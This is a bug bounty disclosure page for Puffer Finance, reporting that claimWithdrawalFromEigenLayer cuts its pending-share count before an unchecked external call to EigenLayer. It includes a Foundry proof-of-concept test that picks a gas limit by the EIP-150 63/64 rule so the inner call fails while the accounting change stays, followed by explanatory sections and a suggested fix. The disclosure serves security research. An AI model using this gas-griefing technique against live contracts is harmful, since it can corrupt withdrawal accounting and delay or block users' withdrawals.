External Call from Eigen Layer can fail silentl
The claimWithdrawalFromEigenLayer function reduces the pending withdrawal shares before making an external call to EigenLayer, and it does not check whether that call succeeded. An attacker could supply just enough gas so the external call fails silently while the share accounting is still reduced, disrupting the withdrawal queue.
- Disclosed after under an hour
28732 - [SC - Insight] External Call from Eigen Layer can fail silentl...
Submitted on Feb 25th 2024 at 12:05:50 UTC by @Cryptor for Boost | Puffer Finance
Report ID: #28732
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0xd9a442856c234a39a81a089c06451ebaa4306a72
Impacts:
- Contract fails to deliver promised returns, but doesn't lose value
Description
Brief/Intro
The function claimWithdrawalFromEigenLayer is unprotected and makes an external call to eigen layer at the end of the function without checking the return value. This can result in a possible exploit where a user can call claimWithdrawalFromEigenLayer and pass in just enough gas to reduce the amount of pending shares while the eigenlayer call fails
Vulnerability Details
Observe the following code
The function claimWithdrawalFromEigenLayer allows a user to claim stETH withdrawals from EigenLayer. If fetches some values from Eigen Layer and then makes some checks. Pay attention to the following lines
$.eigenLayerPendingWithdrawalSharesAmount -= queuedWithdrawal.shares[0];
_EIGEN_STRATEGY_MANAGER.completeQueuedWithdrawal({
queuedWithdrawal: queuedWithdrawal,
tokens: tokens,
middlewareTimesIndex: middlewareTimesIndex,
receiveAsTokens: true
});
It reduces the pending shares and then makes an external call to Eigen to complete the queued withdrawal of shares. However due to the 1/64th rule in etheruem and the lack of a return value check on the external call, there is a way to make the function pass while making the external call to eigen silently fail causing an erroneous accounting of eigenLayerPendingWithdrawalSharesAmount, which can be reduced without any withdrawal actually taking place.
Impact Details
A bad actor exploiting this vulnerability could disrupt the withdrawal process. By causing the external call to Eigen to fail while reducing the pending shares, the actor could manipulate the queuing system. This could ultimately lead to withdrawals being delayed or, in worse scenarios, not processed at all.
References
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md
Proof of Concept
(Note: The following helper external view function was added to the puffervault contract to fetch share value from the VaultStorage struct to make writing the test easier. Nothing else has changed in the code.)
function getvaultwithdrawshares () public view returns (uint) {
VaultStorage storage $ = _getPufferVaultStorage();
return $.eigenLayerPendingWithdrawalSharesAmount;
}
Foundry Test (modified test_withdraw_from_eigenlayer):
function test_withdraw_from_eigenLayer()
public
giveToken(BLAST_DEPOSIT, address(stETH), address(pufferVault), 1000 ether) // Blast got a lot of stETH
{
// Simulate stETH cap increase call on EL
_increaseELstETHCap();
vm.startPrank(OPERATIONS_MULTISIG);
pufferVault.depositToEigenLayer(stETH.balanceOf(address(pufferVault)));
uint256 ownedShares = _EIGEN_STRATEGY_MANAGER.stakerStrategyShares(address(pufferVault), _EIGEN_STETH_STRATEGY);
uint256 assetsBefore = pufferVault.totalAssets();
// Initiate the withdrawal
pufferVault.initiateStETHWithdrawalFromEigenLayer(ownedShares);
// 1 wei diff because of rounding
assertApproxEqAbs(assetsBefore, pufferVault.totalAssets(), 1, "should remain the same when locked");
IERC20[] memory tokens = new IERC20[](1);
tokens[0] = IERC20(address(stETH));
IStrategy[] memory strategies = new IStrategy[](1);
strategies[0] = IStrategy(_EIGEN_STETH_STRATEGY);
uint256[] memory shares = new uint256[](1);
shares[0] = ownedShares;
IEigenLayer.WithdrawerAndNonce memory withdrawerAndNonce =
IEigenLayer.WithdrawerAndNonce({ withdrawer: address(pufferVault), nonce: 0 });
IEigenLayer.QueuedWithdrawal memory queuedWithdrawal = IEigenLayer.QueuedWithdrawal({
strategies: strategies,
shares: shares,
depositor: address(pufferVault),
withdrawerAndNonce: withdrawerAndNonce,
withdrawalStartBlock: uint32(block.number),
delegatedAddress: address(0)
});
// Roll block number + 100k blocks into the future
vm.roll(block.number + 100000);
/*added an external helper function getvaultwithdrawshares to the puffer vault contract to fetch
the pendingwithdrawsharesamount */
uint puffervaultsharesbefore = pufferVault.getvaultwithdrawshares();
/*Exploits EIP 150 to pass in just enough gas to reduce shares amount while allowing
the external call to eigen layer to fail silently
*/
uint gasLimit = (gasleft()* 63/64) - 1;
/* Claim Withdrawal. Final call to Eigen Layer would revert while the erroneous accouting of shares still remain */
pufferVault.claimWithdrawalFromEigenLayer{gas: gasLimit}(queuedWithdrawal, tokens, 0);
//
uint puffervaultsharesafter = pufferVault.getvaultwithdrawshares();
assert(puffervaultsharesafter < puffervaultsharesbefore);
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The function updates state before an external call and does not check the call's return value, so a gas-limited call can fail while the state change persists.
Impact
A bad actor could disrupt the withdrawal process, potentially delaying withdrawals or preventing them from being processed at all.
What the attacker needed
Ability to call claimWithdrawalFromEigenLayer; a queued withdrawal exists
The fix
The function should check the return value of the external call and revert if it fails, or update state only after a successful call.
How it was found
- Deposit stETH into EigenLayer through the vault.
- Initiate a withdrawal from EigenLayer to create a queued withdrawal.
- Roll the block number forward so the withdrawal can be claimed.
- Call claimWithdrawalFromEigenLayer with a gas limit calculated to leave the external call short of gas.
- Observe that the pending withdrawal shares amount is reduced even though the EigenLayer call failed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a smart contract calls another contract, it can choose how much gas to send. If the call runs out of gas, it fails, but the calling contract can continue if it does not check the result. Here the contract lowers its record of pending shares before the call, so a failed call leaves the record wrong.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.